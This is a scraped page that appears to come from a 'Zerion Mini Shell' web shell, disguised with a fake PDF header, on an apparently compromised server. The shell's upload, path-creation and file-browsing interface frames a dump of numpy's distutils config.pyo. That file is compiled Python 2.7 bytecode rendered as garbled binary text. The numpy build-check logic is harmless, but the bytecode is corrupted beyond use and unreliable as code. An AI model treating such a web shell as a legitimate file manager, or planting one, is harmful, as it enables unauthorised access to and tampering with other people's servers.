%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyo

�
�9Zc@`sJddlmZmZmZddlZddlZddlZddlZddlm	Z
ddlmZddlm
Z
ddlmZddlmZmZddlZddlmZdd	lmZdd
lmZmZmZmZmZddlmZded
<ded<de
fd��YZ	defd��YZ dS(i(tdivisiontabsolute_importtprint_functionN(tconfig(tLANG_EXT(tlog(t	copy_file(tCompileErrort	LinkError(texec_command(tgenerate_manifest(tcheck_gcc_function_attributetcheck_gcc_variable_attributetcheck_inlinetcheck_restricttcheck_compiler_gcc4(t
get_exceptions.ftf77s.f90tf90RcB`s"eZejdg7_d�Zd�Zd�Zd�Zd�Z	dddd�Z
ddd	�Zddd
�Zdddd�Z
ddddd�Zddddeedd
�Zddddeedd�Zd�Zd�Zd�Zd�Zd�Zddddddd�ZRS(s
fcompiler=s!specify the Fortran compiler typecC`sd|_tj|�dS(N(tNonet	fcompilert
old_configtinitialize_options(tself((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR"s	c	C`s�tj|�ddlm}m}tjdkr|jjdkr|jj	s�y|jj
�Wq�tk
r�t�}d||jj
jf}td�tjj|��q�Xndd	lm}|j�d
krx?|jj|jjgD]"}d|kr�|jd�q�q�Wqnt|j|�s�|d|jd
|jddd|j�|_|jdk	r�|jj|j�|jj�r�|jj|�|jj �q�q�ndS(Ni(t	FCompilert
new_fcompilertwin32tmsvctintelwtintelemws�Could not initialize compiler instance: do you have Visual Studio
installed?  If you are trying to build with MinGW, please use "python setup.py
build -c mingw32" instead.  If you have Visual Studio installed, check it is
correctly installed, and the right version (VS 2008 for python 2.6, 2.7 and 3.2,
VS 2010 for >= 3.3).

Original exception was: %s, and the Compiler class was %s
============================================================================sL============================================================================(t
msvc9compileri
s	/MANIFESTtcompilertdry_runtforceit
c_compiler(RRR(!Rt_check_compilertnumpy.distutils.fcompilerRRtsystplatformRt
compiler_typetinitializedt
initializetIOErrorRt	__class__t__name__tprintt	distutilsterrorstDistutilsPlatformErrorRtget_build_versiontldflags_sharedtldflags_shared_debugtappendt
isinstanceRR Rt	customizetdistributiontget_versiont
customize_cmdtshow_customization(RRRtetmsgRtldflags((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR#&s:
	
		c	C`s�ddlm}ddlm}|j}|dkrD|j|_ny||f|�}Wn5||fk
r�tt��}||_|�nX||_|S(Ni(R(tDistutilsExecErrorRR(RR(tdistutils.ccompilerRtdistutils.errorsR>RRtstrR(	RtmthtlangtargsRR>t
save_compilertretR<((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyt_wrap_methodXs		
	cC`s"|jtj|||||f�S(N(RGRt_compile(Rtbodytheaderstinclude_dirsRC((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyRHgsc	C`se|jjdkr|pg}|p(g}|d
kr�d}|jr�xi|jjpYgD]U}|jd�r�tdd|gdt�\}}	|s�|	}q�n|j|�qZWx9|jjp�gD]"}
|
|kr�|j|
�q�q�Wq�nxH|D]}
|
jd�rq�nt}xI|p&gD];}t	j
j|d	|
�}
t	j
j|
�r't
}Pq'q'W|rrq�nt}xy|D]q}t	j
j|d
|
�}
t	j
j|
�rt	j
j|d	|
�}t|
|�|jj|�t
}PqqW|rq�ntjd|
|f�q�Wn|jjdkr=t|�n|jtj|||||||f�S(NRRRtcs/usr/libtcygpaths-wtuse_tees%s.libslib%s.as+could not find library %r in directories %stmingw32(RR(RR'Rtlibrary_dirst
startswithR	tFalseR4t	librariestostpathtjointisfiletTrueRt
temp_filesRtwarnR
RGRt_link(RRIRJRKRSRPRCtdtstotlibnamet
fileexiststlibdirtlibfiletlibfile2((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR[ksZ

	


	
	RLcC`s |j�|jd|g|�S(Ns2/* we need a dummy line to make distutils happy */(R#ttry_compile(RtheaderRKRPRC((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pytcheck_header�s
cC`s-|j�d||f}|j|||�S(NsH
int main(void)
{
#ifndef %s
    (void) %s;
#endif
    ;
    return 0;
}(R#Rd(RtsymbolRJRKRI((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyt
check_decl�s
	cC`s*|j�d|f}|j|||�S(Ns[
int main(void)
{
#if %s
#else
#error false or undefined macro
#endif
    ;
    return 0;
}(R#Rd(RRgRJRKRI((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pytcheck_macro_true�s


cC`s�|j�di|d6}t}zOy+|j|i|d6||d�t}Wntjjk
rnt}nXWd|j�X|S(sYCheck type availability. Return True if the type can be compiled,
        False otherwises_
int main(void) {
  if ((%(name)s *) 0)
    return 0;
  if (sizeof (%(name)s))
    return 0;
}
tnamettypeRLN(R#RRRHRXR.R/Rt_clean(Rt	type_nameRJRKRPRItst((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyt
check_type�s



cC`s�|j�d}|j|i|d6||d�|j�|r�d}x_|D]T}y:|j|i|d6|d6||d�|j�|SWqNtk
r�qNXqNWnd}d}d}	xmtr*y7|j|i|d6|	d6||d�|j�PWq�tk
r&|	d}d	|	d}	q�Xq�W|	}
x|||
kr�|
|d	|}	y<|j|i|d6|	d6||d�|j�|	}
Wq4tk
r�|	d}q4Xq4W|S(
sCheck size of a given type.s�
typedef %(type)s npy_check_sizeof_type;
int main (void)
{
    static int test_array [1 - 2 * !(((long) (sizeof (npy_check_sizeof_type))) >= 0)];
    test_array [0] = 0

    ;
    return 0;
}
RkRLs�
typedef %(type)s npy_check_sizeof_type;
int main (void)
{
    static int test_array [1 - 2 * !(((long) (sizeof (npy_check_sizeof_type))) == %(size)s)];
    test_array [0] = 0

    ;
    return 0;
}
tsizes�
typedef %(type)s npy_check_sizeof_type;
int main (void)
{
    static int test_array [1 - 2 * !(((long) (sizeof (npy_check_sizeof_type))) <= %(size)s)];
    test_array [0] = 0

    ;
    return 0;
}
iii(R#RHRlRRX(RRmRJRKRPtexpectedRIRptlowtmidthigh((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pytcheck_type_size�sL








	







c	
C`s|j�g}	|rLt|�tkr8|	j|�qL|	jd|�n|	jd�|	jd|�|	jd�|	jd�|r�|dkr�d}n|	jd||f�n|	jd|�|	jd	�|	jd
�dj|	�d}	|j|	||||�S(Nsint %s (void);s#ifdef _MSC_VERs#pragma function(%s)s#endifsint main (void) {ts	  %s(%s);s  %s;s  return 0;t}s
(R#RkRAR4RRVttry_link(
RtfuncRJRKRSRPtdecltcallt	call_argsRI((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyt
check_func2s(



	

c	C`s�|j�g}	|rPx7|j�D]&\}
}|r#|	jd|
�q#q#Wn|	jd�x|D]}|	jd|�qdW|	jd�|	jd�|r#x�|D]v}
|
|kr||
r|o�|
|ko�||
s�d}
n
||
}
|	jd|
|
f�q�|	jd|
�q�Wn"x|D]}
|	jd|
�q*W|	jd	�|	jd
�dj|	�d}	|j|	||||�S(s/Check a list of functions at once.

        This is useful to speed up things, since all the functions in the funcs
        list will be put in one compilation unit.

        Arguments
        ---------
        funcs : seq
            list of functions to test
        include_dirs : seq
            list of header paths
        libraries : seq
            list of libraries to link the code snippet to
        libraru_dirs : seq
            list of library paths
        decl : dict
            for every (key, value), the declaration in the value will be
            used for function in key. If a function is not in the
            dictionay, no declaration will be used.
        call : dict
            for every item (f, value), if the value is True, a call will be
            done to the function f.
        sint %s (void);s#ifdef _MSC_VERs#pragma function(%s)s#endifsint main (void) {Rvs	  %s(%s);s  %s;s  return 0;Rws
(R#titemsR4RVRx(RtfuncsRJRKRSRPRzR{R|RItftvRyRD((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pytcheck_funcs_onceTs4





	



cC`s
t|�S(sUReturn the inline keyword recognized by the compiler, empty string
        otherwise.(R
(R((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR
�scC`s
t|�S(sWReturn the restrict keyword recognized by the compiler, empty string
        otherwise.(R(R((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR�scC`s
t|�S(s*Return True if the C compiler is gcc >= 4.(R(R((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR�scC`st|||�S(N(R(Rt	attributeRj((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR�scC`s
t||�S(N(R(RR�((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR�scC`s�tjdt�ddlm}m}	|j�d
\}
}yt�}y5|j||||||�\}
}}|j	�Wn|j
}|j	��nXtjj
d|�}t|ddd|�\}}ttd	�r>tj|�}
tj|�rDtj|�}tjd
|f�|tjkr;t�q;qDn|}
tjd�Wn$||	fk
rxtjd�nX|j�|
|fS(s�Try to compile, link to an executable, and run a program
        built from 'body' and 'headers'. Returns the exit status code
        of the program and its output.
        s�
+++++++++++++++++++++++++++++++++++++++++++++++++
Usage of get_output is deprecated: please do not 
use it anymore, and avoid configuration checks 
involving running executable on the target machine.
+++++++++++++++++++++++++++++++++++++++++++++++++
i(RRi�Rvt.t
execute_inRNtWEXITSTATUSs subprocess exited with signal %dssuccess!sfailure.(i�Rv(twarningsRZtDeprecationWarningR?RRR#t
GrabStdoutR[trestoretdataRTRURVR	thasattrR�tWIFSIGNALEDtWTERMSIGRterrortsignaltSIGINTtKeyboardInterrupttinfoRl(RRIRJRKRSRPRCRNRRtexitcodetoutputtgrabbertsrctobjtexet
exitstatustsig((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyt
get_output�s>	
		

N(s
fcompiler=Ns!specify the Fortran compiler type(R,t
__module__Rtuser_optionsRRR#RGRHR[RfRhRiRoRuRRR}R�R
RRRRR�(((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyRs6		2			2T :					R�cB`s,eZd�Zd�Zd�Zd�ZRS(cC`s"tj|_d|_|t_dS(NRv(R%tstdoutt
sys_stdoutR�(R((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyt__init__�s	cC`s#|jj|�|j|7_dS(N(R�twriteR�(RR�((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR��scC`s|jj�dS(N(R�tflush(R((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR��scC`s|jt_dS(N(R�R%R�(R((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR��s(R,R�R�R�R�R�(((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyR��s			(!t
__future__RRRRTR�R�R%tdistutils.command.configRRRR.Rtdistutils.file_utilRR?RRtnumpy.distutils.exec_commandR	t numpy.distutils.mingw32ccompilerR
t numpy.distutils.command.autodistRRR
RRtnumpy.distutils.compatRtobjectR�(((sQ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/command/config.pyt<module>s$(

��

Zerion Mini Shell 1.0